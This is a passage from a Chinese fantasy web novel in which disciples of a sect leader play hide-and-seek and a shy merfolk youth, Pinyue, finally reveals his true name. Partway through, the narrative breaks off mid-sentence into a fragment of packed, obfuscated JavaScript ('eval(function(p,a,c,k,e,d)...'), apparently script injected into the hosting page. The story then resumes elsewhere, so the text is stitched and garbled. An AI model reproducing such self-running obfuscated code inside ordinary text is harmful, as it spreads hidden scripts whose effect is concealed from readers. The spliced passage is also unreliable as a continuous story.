他们气还没喘匀,只以眼神交流。 这场捉迷藏游戏中,首先排除限定时间内藏好小旗,由他们获胜的可能,因为说不准会惹得峰主不高兴。 但又不能摆烂太过,得让曲峰主尽兴。 对他们来说最好的选择是内部竞争,看谁能率先找到执旗人,成为背叛者投效于鬼,讨好曲云织。 然而颜清讨奖赏的话一出,代表他也要掺和一脚。 这下成为背叛者的那人就该碍了颜清的眼。 他可是仙宗首席弟子,玉京峰上真正的掌事人,以小白脸们察言观色的本事,自然看出颜清对他们没多少好感。 顶多是一种傲慢不屑的态度,平日里对他们的安排中规中矩,没想着多为难。 并不代表他们能招惹这位主子。 夹在曲云织和颜清中间,无论哪一位都得罪不起,只能祈祷颜清也想当背叛者,与他的亲亲师父站在同一阵营。 两边都想讨好的墙头草真不是谁都能当。 “既然游戏尚未宣布结束。”有人迟疑着说,“是不是代表执旗人并没有被抓住,现在就在我们这些人中间?” “也有可能在其他走散的人里,不过搜一搜总没有损失。” 言毕,面首们觉得这主意不错。 他们若有似无偷觑颜清的神色,打算将执旗人搜出来献给他。 品月捏了捏手指,触到一截柔软细腻的布料,被他的体温捂得不那么冰凉。 旗帜拿到手时,只觉重逾千钧,他很想不管不顾抛给别人。 但这面小旗的材质特殊,一旦沾染上气息就难以去除,此事若被察觉,风向会演变成他玩不起游戏,扫了兴致引来众人厌弃。 身为执旗人,曲云织、颜清和同伴,这三方他哪一个都不想招嫌。 那就意思意思推拒一下,将烫手山芋交出去。 颜清得以心满意足成为最后赢家,同伴们可以松口气,虽然曲峰主会玩得不够尽兴。 却刚好可以洗刷掉前些天留给她的好印象。 他还是那个不起眼的自己。 品月做好了决定,将云纹小旗挪到一个显眼些的位置,只等搜身的人靠近。 “你们在做什么?”颜清眉尾一扬,“捉迷藏就是要藏起来才好玩,执旗人这么快暴露,游戏玩下去还有什么意思?” 他难以理解地问,“你们没想过要赢吗?” 还不是因为你! 小白脸们敢怒不敢言,但凡颜清少说几句搅屎棍子的话,他们早就开开心心陪曲峰主玩耍了。 “在顾忌我?”颜清目光闲闲一扫,便将他们心思瞧了个大概,他爽朗地笑了几声,语气是截然相反的冷淡,“就凭你们?” 小白脸们这下是真的成了白脸。 颜清似乎是嫌弃这种提不起劲的宽松氛围,为了搅混水,竟主动将胜者的位置拱手让人,“其实是输是赢对我来说都没差,毕竟师尊独一份的待遇只给了我一个人。” 他歪头,轻轻抵在树干上,“但你们不一样,一场游戏玩成你们处心积虑编排的木偶戏,说不准师尊从此以后就厌烦了呢?” 玉面奴们身子一颤,简直豁然开朗。 他们这点心思哪瞒得过人家峰主的眼睛,本来就是用于取乐之人,要是为了讨好主家反而将乐子变得索然无味,那就适得其反了。 人群中,品月抿着唇,手攥得死紧,深深注视着颜清。 事态有变,这下子云纹小旗不能轻易交出去了。 “再提醒你们一件事。”颜清笑容和善,一手别在耳边做聆听状,“我师尊快要追上来了。” 面首们神色立刻紧张起来。 “啪!” 一道清脆的声响在层层叠叠的叶片间无限回荡。 宛如惊弓之鸟般,眨眼间此地十几人向着四面八方开始逃窜。 颜清唇角扬起恶劣的弧度,收回拍掌的手,捂着肚子笑得直不起腰。 太有意思了,一惊一乍的,还傻乎乎容易被牵着跑,逗这群小白脸就跟逗兔子玩一样。 “你何时性子这般顽劣了?” 树丛微微一动,曲云织身影走了出来,秀眉微蹙。 颜清笑意戛然而止,有种糗事被人目睹的尴尬,沉默跃下树梢,来到曲云织面前,还不忘装乖卖巧。 “师尊,我就是气不过。”他低着脑袋嘟囔,“小时候您都没带我玩过几次,反观这群小白脸来了没几天,你就肯为他们花心思。” 颜清自暴自弃,揪着曲云织衣摆,“我不管,我就是嫉妒他们。” 曲云织好气又好笑,“谁能比得上你这个醋精?” 她两指夹着颜清一张白嫩的脸,拉了拉,“脸皮又厚,心肝还是黑的,你告诉我,那群玉面奴拿什么跟你争?” 颜清夸张地嘶了声,揉着腮帮子,“那师尊实话跟我说,现在心里排第一位的人是不是我?” 曲云织无奈投降,“是你总成了吧。” 颜清这才肯放过她,勉强原谅她一时花心,手往林中一指。 “对了,我要投效鬼的阵营。” 他笑意盎然,“我刚观察了玉面奴的反应,大致知晓哪个是执旗人,他现在正往那个方向逃跑。” 曲云织诧异瞥了他一眼,“不是说输赢对你无所谓吗?” 颜清神色无辜,“骗他们的,要怪就只能怪那群玉面奴轻信了我的话咯。” 曲云织不由心中感慨,没见过几个比他还坏的。 她向着颜清所指的方向迈开步伐,路过时忽然伸手,一掌劈向他颈侧! 在颜清难以置信瞪圆的眼神里,曲云织悠然道:“规则只说鬼可以允许背叛者的存在,但没有规定必须接受背叛者。” “多谢告知,不过你还是好好在这里躺着吧。” 颜清面朝下,扑通一声栽进落叶堆。 曲云织则脚步轻快越过他。 很不巧,她比他还坏。 曲云织消失在林子后不久,一旁的树丛窸窣摇曳,眉心一点朱砂,蓝紫渐变耳鳍的少年钻出脑袋,一张脸憋得通红。 品月警惕地打量四周,颜清还人事不省倒在地上,曲峰主的脚步也彻底听不见。 他这才松了口气。 摊开掌心,云纹小旗还静静躺着,是一桩甩不脱的麻烦。 游戏时间过了大半,该不该这样继续躲着,所有玉面奴取得最后的胜利? 可那样作为执旗人的他将会收获许多关注,尤其曲峰主的另眼相看。 他不想再受到过多瞩目。 忽有一道脚步声响起,踩碎林中落叶。 品月下意识缩回树丛,将自己藏得严严实实。 透过缝隙,他看到曲云织打道回返,口中说:“那边压根没人,颜清这小子是不是连我也跟着骗?” 曲云织说话间,脚步无意朝他的方向走来。 好机会。 他该假装没藏好,被曲峰主抓住。 颜清技不如人昏迷不醒,此地唯有曲云织与他,届时曲峰主赢了游戏,玉面奴们只会觉得他没用守不住旗帜,不会再有更多怪罪。 品月想好了,屈膝正准备主动制造点动静。 可当他试图动一动,却发现双腿如同灌了铅,沉重到丝毫提不起来。 他愕然回头。 树丛里透不进多少光,身后是浓黑一片的阴影,错觉间,他仿佛看到有两条粗重的铁锁死死扣在他脚腕上,一直延伸到黑暗里,叫他无法动弹。 那不是真正的枷锁镣铐,却带着如有实质的重量。 一如在妖族皇宫里,所有人都在说他是卑贱的婢妾之子,只是有幸流着几分妖皇血脉,生来就该为他那些尊贵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很凉,品月心想,比他的体温还要低些,蜻蜓点水般的触碰激得他瑟缩一下。 在他的视角中,那只作乱的手四处摸索,遵循某种章法地揉捏,是寻常推拿的手段。 不过徒劳而已。 他体力还算充足,归根究底困住他的不是这具孱弱身躯,而是他也说不清的一种感觉。 蓦地,恍若是心有灵犀般,曲云织的手一把攥住他脚踝! 恰恰按在他幻视中,那一圈冰冷的金属色镣铐上。 就这样漫不经心地挑开了锁扣。 品月睁大了眼眸。 “许是长时间奔逃有些累了吧。”曲云织淡淡地说,像是方才的举动无意为之,“现在好些了吗?” 她站起身,背着光,阴影遮掩了眸中神色,安静打量着鲛妖。 他满眼惊奇,瞳孔剔透而纯净,宛如初生婴儿的好奇心,弯着柔韧的腰肢,水蛇般的手抚摸自己光裸的脚腕。 空荡荡的,没有枷锁的幻觉。 曲云织在心底轻叹一声。 这只鲛妖并非真正的妖族气运之子。 否则也不会被教导成如今模样。 只知道一味躲藏,而从来不知晓该如何争取。 他固然拥有鸿蒙至宝,可他从未被寄托希望,不过是一个装着希望的匣子。 前代妖皇只是将至宝暂时交由他保管,等那金尊玉贵的现任妖皇重掌权柄,摆脱神族的挟制,鲛妖的一切都将奉献给他。 曲云织将鲛妖拉出了树丛,轻柔揽在怀里。 “为何要藏起来?”她低低的话语传入鲛妖耳畔,“你就是你。” 品月倚靠在曲云织的怀抱里,却听到了自己骤然放大的心跳,重重敲响,宛如一声擂鼓,一道仲夏时分撕开夜幕的闪电。 他眼前的世界支离破碎。 山林间的虫鸣鸟叫从未有哪一刻如此清晰,不再是从前的风声鹤唳。 曲云织的话语如同呼啸而来的什么东西,轰然撞在他包裹自己的茧上,一切都四分五裂,一切都七零八散。 原来他可以是他,他可以不用藏起来! 他从来不是什么见不得光的存在,他就是他! 品月一把攥住曲云织的衣领,被拉出树丛,又或者更早些的某个时刻,就隐约有了预感,他从茧中脱身,第一次认清了这个世界。 “我不叫品月,我有自己的名字。” 曲云织低头,撞入一双明亮的,漆黑中折射幽蓝微光的竖瞳。 “我真名为无厌。” 这场名为捉迷藏的游戏里。 于无光的密林深处,她找到了真正的他。